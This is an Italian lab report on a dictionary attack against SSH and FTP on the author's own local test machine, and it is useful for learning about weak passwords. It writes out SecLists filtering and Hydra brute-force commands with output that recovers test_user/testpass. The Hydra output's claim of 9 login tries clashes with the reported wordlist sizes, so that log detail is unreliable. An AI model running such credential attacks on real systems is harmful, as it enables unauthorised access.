

REPORT S6/L5

1. Obiettivo

L'obiettivo dell'esercizio è stato verificare la robustezza dei servizi di autenticazione **SSH** e **FTP** configurati sulla macchina target. È stato simulato un attacco di tipo **Dictionary Attack** (attacco a dizionario), volto a identificare credenziali deboli.

Ambiente e Strumenti

- **Sistema Attaccante:** Kali Linux.
- **Target:** IP 192.168.50.100.
- **Strumenti utilizzati:**
 - **Hydra:** Per effettuare l'attacco a dizionario.
 - **Seclists:** Repository di wordlist per username e password.
 - **Grep/Cat/Wc:** Utility di sistema per la manipolazione e l'analisi delle wordlist.
 - **SSH / FTP:** Servizi installati sul target.

2. Passaggi eseguiti

Fase 1: Configurazione del target

Prima di eseguire l'attacco, ho predisposto l'ambiente di lavoro:

1. Ho creato l'utente **test_user** sulla macchina target tramite il comando **adduser**.

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []: test_user  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y
```

2. Ho attivato il servizio **SSH** (Secure Shell) sulla porta 22 con il comando **sudo service ssh start**.
3. **Verifica Preliminare:** Ho effettuato una connessione manuale (**ssh test_user@192.168.50.100**) per confermare che il servizio fosse attivo e raggiungibile prima di avviare l'attacco.

```
(kali@kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is: SHA256:wsLNRfDeQaycDC4eu2TrfI/gm1G3buknufy/wj9h6lw
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

Fase 2: Preparazione all'Attacco

Per ottimizzare i tempi di esecuzione ed evitare attacchi eccessivamente lunghi con liste da milioni di righe, ho creato delle wordlist personalizzate estratte dal pacchetto **seclists** :

- **Installazione:** *sudo apt install seclists*.

```
(kali@kali)-[~]
$ sudo apt install seclists
The following packages were automatically installed and are no longer required:
amass-common libdisplay-info2 libinstpatch-1.0-2 libobjc-14-dev libtheoradec1 libwsutil16
girl1.2-girepository-2.0 libgdal37 libjs-jquery-ui libplacebo349 libtheoraenc1 libx264-164
libarmadillo14 libgeos3.14.0 libjs-underscore libportmidi0 libudfread0 libyelp0
libbluray2 libgirepository-1.0-1 libmongoc-1.0-0t64 librav1e0.7 libwireshark18 python3-bluepy
libbson-1.0-0t64 libpgmcpp6t64 libnet1 libsqlcipher1 libwiretap15 python3-click-

Use 'sudo apt autoremove' to remove them.

Installing:
seclists

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1032
Download size: 545 MB
Space needed: 1,935 MB / 46.9 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2025.3-0kali1 [545 MB]
10% [1 seclists 66.8 MB/545 MB 12%]
17% [1 seclists 116 MB/545 MB 21%]
Fetched 545 MB in 57s (9,523 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 437542 files and directories currently installed.)
Preparing to unpack .../seclists_2025.3-0kali1_all.deb ...
Unpacking seclists (2025.3-0kali1) ...
Setting up seclists (2025.3-0kali1) ...
Processing triggers for kali-menu (2025.4.2) ...
Processing triggers for wordlists (2025.4.0) ...
```

- **Filtraggio:** Ho estratto solo gli username e le password contenenti la stringa "test" dalle liste *xato-net-10-million*.
 - Comando Usernames: **cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep test > xato-usernames.txt**

```
(kali@kali)-[~/Desktop]
$ cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep test > xato-usernames.txt
```

- Comando Passwords: **cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt**

```
(kali@kali)-[~/Desktop]
$ cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt
```

- **Verifica Dimensioni:** Ho utilizzato **wc -l** per assicurarmi che le liste fossero popolate, ma di dimensioni gestibili.

```
(kali@kali)-[~/Desktop]
$ cat xato-usernames.txt | wc -l
3986

(kali@kali)-[~/Desktop]
$ cat xato-passwords.txt | wc -l
2601
```

Fase 3: Esecuzione dell'Attacco

3.1 Attacco al servizio SSH (Porta 22)

Successivamente ho lanciato Hydra, configurandolo per utilizzare le liste personalizzate.

- **Comando:** **hydra -L xato-usernames.txt -P xato-passwords.txt -t2 -f 192.168.50.100 ssh**
- **Parametri Chiave:**
 - **-L / -P:** Utilizzo delle liste create precedentemente .
 - **-t2:** Limitazione a 2 task paralleli per non sovraccaricare il servizio o la rete .
 - **-f:** Opzione *Exit on Found*, per interrompere l'attacco non appena trovate le prime credenziali valide.

```
(kali@kali)-[~/Desktop]
$ hydra -L xato-usernames.txt -P xato-passwords.txt -t2 -f 192.168.50.100 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations
, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 12:58:17
[DATA] max 2 tasks per 1 server, overall 2 tasks, 9 login tries (l:3/p:3), ~5 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[STATUS] attack finished for 192.168.50.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 12:58:29
```

3.2 Attacco al servizio FTP (Porta 21)

Ho proceduto all'installazione e all'attacco di un secondo servizio (FTP).

1. **Setup:** Installazione e avvio del demone **vsftpd** (**sudo apt install vsftpd e sudo service vsftpd start**) .

```
(kali@kali)-[~/Desktop]
$ sudo service vsftpd start
```

2. **Verifica:** Test di connessione manuale riuscito (**ftp test_user@192.168.50.100**).

```
(kali@kali)-[~/Desktop]
$ ftp test_user@192.168.50.100
Connected to 192.168.50.100.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

3. **Attacco:** Ho configurato Hydra per il protocollo FTP.
 - o **Comando:** *hydra -L xato-usernames.txt -P xato-passwords.txt -t2 -f 192.168.50.100 ftp*

```
(kali@kali)-[~/Desktop]
$ hydra -L xato-usernames.txt -P xato-passwords.txt -t2 -f 192.168.50.100 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations
, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 13:06:56
[DATA] max 2 tasks per 1 server, overall 2 tasks, 9 login tries (l:3/p:3), ~5 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[STATUS] attack finished for 192.168.50.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 13:07:10
```

3. Risultati

L'analisi ha portato all'individuazione delle seguenti credenziali valide per l'accesso remoto al sistema target:

Servizio	Porta	Username	Password	Esito
SSH	22	test_user	testpass	COMPROMESSO
FTP	21	test_user	testpass	COMPROMESSO

4. Conclusioni

Il successo dell'attacco dimostra che l'utilizzo di password deboli o basate su dizionario (come "testpass") rende i servizi vulnerabili ad attacchi automatizzati in pochi secondi.

L'uso di **wordlist** mirate (tramite **grep**) ha simulato uno scenario in cui l'attaccante possiede informazioni parziali sul target o utilizza dizionari tematici, riducendo drasticamente i tempi di cracking rispetto a un attacco di tipo **brute-force**.